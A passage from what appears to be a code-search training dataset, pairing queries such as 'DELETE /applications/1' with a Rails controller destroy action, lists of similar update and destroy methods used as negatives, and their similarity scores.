"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @applicationclient.update(applicationclient_params)\n format.html { redirect_to @applicationclient, notice: 'Applicationclient was successfully updated.' }\n format.json { render :show, status: :ok, location: @applicationclient }\n else\n format.html { render :edit }\n format.json { render json: @applicationclient.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cotiz_app.update(cotiz_app_params)\n format.html { redirect_to @cotiz_app, notice: 'Cotiz app was successfully updated.' }\n format.json { render :show, status: :ok, location: @cotiz_app }\n else\n format.html { render :edit }\n format.json { render json: @cotiz_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mapp.update(mapp_params)\n format.html { redirect_to @mapp, notice: 'Mapp was successfully updated.' }\n format.json { render :show, status: :ok, location: @mapp }\n else\n format.html { render :edit }\n format.json { render json: @mapp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application = policy_scope(Application).find(params[:id])\n\n @application.schedule_items.clear\n @application.experiences.clear\n @application.roles.clear\n\n policy_scope(Application).update(@application.id, application_params)\n authorize @application\n if params[:application][:decision] == 'update'\n if @application.save\n flash[:notice] = t('.successfully_updated')\n else\n flash[:alert] = t('.not_created')\n end\n elsif params[:decision] == 'accept'\n @application.accept!\n flash[:notice] = t('.accepted')\n elsif params[:decision] == 'reject'\n @application.reject!\n flash[:notice] = t('.rejected')\n else\n flash[:alert] = t('.cant_change_state')\n end\n redirect_to applications_path\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to [:admin, @job_application], notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @app.update(app_params)\n redirect_to @app, notice: 'App was successfully updated.' \n else\n render action: 'edit' \n end\n end",
"def update\n @second_rails_app = SecondRailsApp.find(params[:id])\n\n respond_to do |format|\n if @second_rails_app.update_attributes(params[:second_rails_app])\n format.html { redirect_to @second_rails_app, notice: 'Second rails app was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @second_rails_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @residential_application.update(residential_application_params)\n format.html { redirect_to @residential_application, notice: 'Residential application was successfully updated.' }\n format.json { render :show, status: :ok, location: @residential_application }\n else\n format.html { render :edit }\n format.json { render json: @residential_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @appdatainfo.update(appdatainfo_params)\n format.html { redirect_to @appdatainfo, notice: 'Appdatainfo was successfully updated.' }\n format.json { render :show, status: :ok, location: @appdatainfo }\n else\n format.html { render :edit }\n format.json { render json: @appdatainfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n if @job_application.update_attributes(params[:job_application])\n format.html { redirect_to vacancy_path(@job_application.vacancy_id), notice: 'Job application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app_config.update(app_config_params)\n format.html { redirect_to @app_config, notice: 'App config was successfully updated.' }\n format.json { render :show, status: :ok, location: @app_config }\n else\n format.html { render :edit }\n format.json { render json: @app_config.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.7152944",
"0.7136675",
"0.7115411",
"0.70114315",
"0.7003497",
"0.6962699",
"0.69392174",
"0.6899615",
"0.6899615",
"0.6898765",
"0.68742436",
"0.6868403",
"0.68482035",
"0.68115634",
"0.68115634",
"0.68107307",
"0.68107307",
"0.68107307",
"0.680725",
"0.6806085",
"0.6803791",
"0.6723204",
"0.6719687",
"0.6719687",
"0.6719687",
"0.6719687",
"0.6719687",
"0.6719687",
"0.671053",
"0.670536",
"0.6696273",
"0.66937315",
"0.66911167",
"0.6684297",
"0.6676112",
"0.6676112",
"0.6676112",
"0.6676112",
"0.6676112",
"0.66530627",
"0.6648631",
"0.65960246",
"0.6546376",
"0.65429443",
"0.6530917",
"0.6528797",
"0.65238637",
"0.64445394",
"0.64445394",
"0.6440335",
"0.6423937",
"0.63973427",
"0.63757634",
"0.6370342",
"0.63504773",
"0.6348956",
"0.63459355",
"0.63357365",
"0.63319945",
"0.6330314",
"0.63253886",
"0.6315587",
"0.6307331",
"0.6289324",
"0.62659603",
"0.626132",
"0.6251728",
"0.62420535",
"0.6232996",
"0.62288785",
"0.6209789",
"0.6183481",
"0.61787444",
"0.6169197",
"0.6149762",
"0.61289597",
"0.6118252",
"0.61156243",
"0.6113607",
"0.61031985",
"0.60969925",
"0.6074132",
"0.6068547",
"0.60635436",
"0.6052528",
"0.6051205",
"0.6047149",
"0.6030652",
"0.6030652",
"0.60255975",
"0.60246515",
"0.60244966",
"0.6020377",
"0.60084945",
"0.60083824",
"0.6005274",
"0.6004733",
"0.60034096",
"0.60012436",
"0.5981002"
] | 0.6319737 | 61 |
DELETE /applications/1 DELETE /applications/1.json | def destroy
@application.destroy
respond_to do |format|
format.html { redirect_to applications_url, notice: 'Application was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @client.app_destroy(params[:id])\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"def delete_application(client, options)\n if !options[:application].nil?\n application = client.applications.get options[:application]\n application.delete\n puts \"Application deleted.\"\n return\n else\n puts \"Missing arguments\"\n return\n end \nend",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :ok }\n end\n end",
"def destroy(name)\n\t\tdelete(\"/apps/#{name}\")\n\tend",
"def destroy(name)\n\t\tdelete(\"/apps/#{name}\")\n\tend",
"def destroy\n @application = Application.find(params[:id])\n @application.destroy\n\n respond_to do |format|\n format.html { redirect_to applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application = Application.find(params[:id])\n @application.destroy\n\n respond_to do |format|\n format.html { redirect_to applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy(name)\n delete(\"/apps/#{name}\").to_s\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to(apps_url) }\n format.xml { head :ok }\n format.json { head :ok } \n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to dynamic_url(:applications), notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_app = UserApp.find(params[:id])\n @user_app.destroy\n\n respond_to do |format|\n format.html { redirect_to user_apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @newapp = Newapp.find(params[:id])\n @newapp.destroy\n\n respond_to do |format|\n format.html { redirect_to newapps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application = Application.find(params[:id])\n @application.destroy\n\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Application was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app.destroy\n respond_to do |format|\n format.html { redirect_to admin2017_apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ruby_application = RubyApplication.find(params[:id])\n @ruby_application.destroy\n respond_to do |format|\n format.html { redirect_to home_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to(apps_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to(apps_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @app = App.find(params[:id])\n @app.destroy\n\n respond_to do |format|\n format.html { redirect_to(apps_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @application = Application.find(params[:id])\n @application.destroy\n\n respond_to do |format|\n format.html {\n flash[:notice] = 'Application was successfully destroyed.'\n redirect_to admin_applications_url\n }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_application.destroy\n respond_to do |format|\n format.html { redirect_to client_applications_url, notice: 'Client application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_application.destroy\n respond_to do |format|\n format.html { redirect_to client_applications_url, notice: 'Client application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application = Application.find(params[:id])\n @application.destroy\n\n respond_to do |format|\n format.html { redirect_to(applications_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @app = current_user.apps.find(params[:id])\n @app.destroy\n flash[:notice] = \"The #{@app.name} app was successfully deleted\"\n respond_to do |format|\n format.html { redirect_to apps_path }\n format.xml { head :ok }\n end\n end",
"def destroy\n @app.destroy\n respond_to do |format|\n flash[:success] = 'App was successfully destroyed.'\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application = Application.find(params[:id])\n @application.destroy\n\n respond_with @application\n end",
"def destroy\n @app.destroy\n\n head :no_content\n end",
"def destroy\n authorize! :destroy, @app\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application = Application.find(params[:id])\n return unless appAccess?(@application.job.id)\n id = @application.job.id\n @application.destroy\n\n respond_to do |format|\n format.html { redirect_to show_apps_path(:id=>id) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app_config = AppConfig.find(params[:id])\n @app_config.destroy\n\n respond_to do |format|\n format.html { redirect_to app_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app_list.app_resouces.destroy\n @app_list.destroy\n respond_to do |format|\n format.html { redirect_to app_lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mobileapp = Mobileapp.find(params[:id])\n @mobileapp.destroy\n \n respond_to do |format|\n format.html { redirect_to mobileapps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to settings_admin_oread_applications_path, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_app.destroy\n respond_to do |format|\n format.html { redirect_to admin_apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_app.destroy\n respond_to do |format|\n format.html { redirect_to test_apps_url, notice: 'Test app was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_app.destroy\n respond_to do |format|\n format.html { redirect_to test_apps_url, notice: \"Test app was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html {redirect_to applications_url, notice: 'Application was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def destroy\n @userapp = Userapp.find(params[:id])\n @userapp.destroy\n\n respond_to do |format|\n format.html { redirect_to(userapps_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @wine_app.destroy\n respond_to do |format|\n format.html { redirect_to wine_apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application = Application.find(params[:id])\n User.allow_to_all(@application.id) # перед удалением снимаем все запреты для данного приложения.\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Приложение удалено.' }\n format.json { head :ok }\n end\n end",
"def destroy\n @applist.destroy\n respond_to do |format|\n format.html { redirect_to applists_url, notice: 'Applist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @registered_app.destroy\n respond_to do |format|\n format.html { redirect_to registered_apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy \n Services::OpenIdConnectionService.new(@app).destroy \n\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mobile_app.destroy\n respond_to do |format|\n format.html { redirect_to mobile_apps_url, notice: 'Mobile app was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app_instance.destroy\n respond_to do |format|\n format.html { redirect_to app_instances_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dev = @app.developers.first.id\n @app.destroy\n respond_to do |format|\n format.html { redirect_to developer_path(@dev), notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app.destroy\n redirect_to apps_url, notice: 'app was successfully deleted.'\n end",
"def admin_delete_app\n\n # Get Current App\n app = MailfunnelsUtil.get_app\n\n # If the User is not an admin redirect to error page\n if !app.is_admin or app.is_admin === 0\n response = {\n success: false\n }\n\n render json: response and return\n end\n\n # Get App to be deleted\n del_app = App.find(params[:app_id])\n\n unless del_app\n response = {\n success: false\n }\n\n render json: response and return\n end\n\n\n # Delete App\n del_app.destroy\n\n\n response = {\n success: true\n }\n\n render json: response and return\n\n\n end",
"def destroy\n @parent_app.destroy\n respond_to do |format|\n format.html { redirect_to parent_apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @papp = Rapns::Apns::App.find(params[:id])\n @papp.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mapp.destroy\n respond_to do |format|\n format.html { redirect_to mapps_url, notice: 'Mapp was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n response = Network.delete(['Applications', id])\n Application.new(response)\n end",
"def destroy\n @web_app = WebApp.find(params[:id])\n @web_app.destroy\n\n respond_to do |format|\n format.html { redirect_to web_apps_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @phone_app.destroy\n respond_to do |format|\n format.html { redirect_to phone_apps_url, notice: 'Phone app was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_appdata\n @restv9.delete_appdata(person_id, appId, field)\n end",
"def destroy\n @visa_application.destroy\n respond_to do |format|\n format.html { redirect_to visa_applications_url, notice: 'Visa application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_application.destroy\n respond_to do |format|\n format.html { redirect_to user_applications_url, notice: 'User application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app_request.destroy\n respond_to do |format|\n format.html { redirect_to app_requests_url, notice: 'App request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cotiz_app.destroy\n respond_to do |format|\n format.html { redirect_to cotiz_apps_url, notice: 'Cotiz app was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @maapp.destroy\n respond_to do |format|\n format.html { redirect_to maapps_url, notice: 'Maapp was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application_status = ApplicationStatus.find(params[:id])\n @application_status.destroy\n\n respond_to do |format|\n format.html { redirect_to application_statuses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @credit_application.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @herga_application.destroy\n respond_to do |format|\n format.html { redirect_to herga_applications_url, notice: 'Herga application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @applicationclient.destroy\n respond_to do |format|\n format.html { redirect_to applicationclients_url, notice: 'Applicationclient was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_application = StudentApplication.find(params[:id])\n @student_application.destroy\n\n respond_to do |format|\n format.html { redirect_to student_applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @userapplication = Userapplication.find(params[:id])\n @userapplication.destroy\n respond_to do |format|\n format.html { redirect_to users_path(:id), info: 'Aplicación usuario a sido destruida correctamente.'}\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_account_app = User.find(params[:id])\n @user_account_app.destroy\n\n respond_to do |format|\n format.html { redirect_to user_account_apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alapp.destroy\n respond_to do |format|\n format.html { redirect_to alapps_url, notice: 'Alapp was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n application.destroy\n respond_with application\n end",
"def destroy\n ELASTIC_SEARCH_CLIENT.delete index: 'mobile_apps', type: 'mobile_app', id: @mobile_app.id\n @mobile_app.destroy!\n respond_to do |format|\n format.html { redirect_to admin_mobile_apps_url, notice: 'Mobile Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @appdatum.destroy\n respond_to do |format|\n format.html { redirect_to appdata_url, notice: 'Appdatum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to action: :index, notice: 'Personal info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app_config = AppConfig.find(params[:id])\n @app_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(app_configs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n if admin_signed_in?\n format.html { redirect_to show_applications_path, notice: \"Application was successfully destroyed.\" }\n else\n format.html { redirect_to applicants_path, notice: \"Application was successfully destroyed.\" }\n end\n format.json { head :no_content }\n end\n end",
"def destroy\n @appdatainfo.destroy\n respond_to do |format|\n format.html { redirect_to appdatainfos_url, notice: 'Appdatainfo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def remove\n get_credentials\n begin\n response = resource[\"/remove/#{app}\"].post(:apikey => @credentials[1])\n rescue RestClient::InternalServerError\n display \"An error has occurred.\"\n end\n display response.to_s\n end",
"def destroy\n @residential_application.destroy\n respond_to do |format|\n format.html { redirect_to residential_applications_url, notice: 'Residential application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @task_application.destroy\n respond_to do |format|\n format.html { redirect_to task_applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app_config.destroy\n respond_to do |format|\n format.html { redirect_to app_configs_url, notice: 'App config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @second_rails_app = SecondRailsApp.find(params[:id])\n @second_rails_app.destroy\n\n respond_to do |format|\n format.html { redirect_to second_rails_apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @visaapp = Visaapp.find(params[:id])\n @visaapp.destroy\n\n respond_to do |format|\n format.html { redirect_to(visaapps_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end"
] | [
"0.7910182",
"0.75623596",
"0.7552732",
"0.7552732",
"0.7552732",
"0.75480956",
"0.75480956",
"0.7524208",
"0.7524208",
"0.7420919",
"0.7420919",
"0.74039817",
"0.7369016",
"0.7369016",
"0.7369016",
"0.7363147",
"0.7355945",
"0.7339149",
"0.73071563",
"0.73071563",
"0.73071563",
"0.73071563",
"0.72990555",
"0.72831565",
"0.7261852",
"0.7230797",
"0.7217374",
"0.7217374",
"0.7217374",
"0.7205214",
"0.7195028",
"0.7195028",
"0.71830386",
"0.7175916",
"0.71655166",
"0.7140893",
"0.71364737",
"0.7111825",
"0.7090251",
"0.70732456",
"0.706948",
"0.706782",
"0.7059479",
"0.7043071",
"0.7028777",
"0.70278406",
"0.70112777",
"0.7006213",
"0.69851816",
"0.69578135",
"0.69565785",
"0.695355",
"0.69520485",
"0.6942718",
"0.6941199",
"0.69377244",
"0.69333357",
"0.6927491",
"0.6916002",
"0.69149",
"0.6896137",
"0.6873878",
"0.6867883",
"0.6865323",
"0.686225",
"0.68599755",
"0.68300295",
"0.6828158",
"0.6818498",
"0.68022573",
"0.6789036",
"0.678527",
"0.67764014",
"0.67757237",
"0.6773267",
"0.67703897",
"0.6747071",
"0.6745073",
"0.67410135",
"0.6737703",
"0.67376715",
"0.67370963",
"0.6736681",
"0.6734899",
"0.6734108",
"0.67305577",
"0.6730216",
"0.6727591",
"0.6725397",
"0.671834",
"0.67138135",
"0.67066973",
"0.6702954"
] | 0.7065258 | 47 |
Use callbacks to share common setup or constraints between actions. | def set_application
@application = Application.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
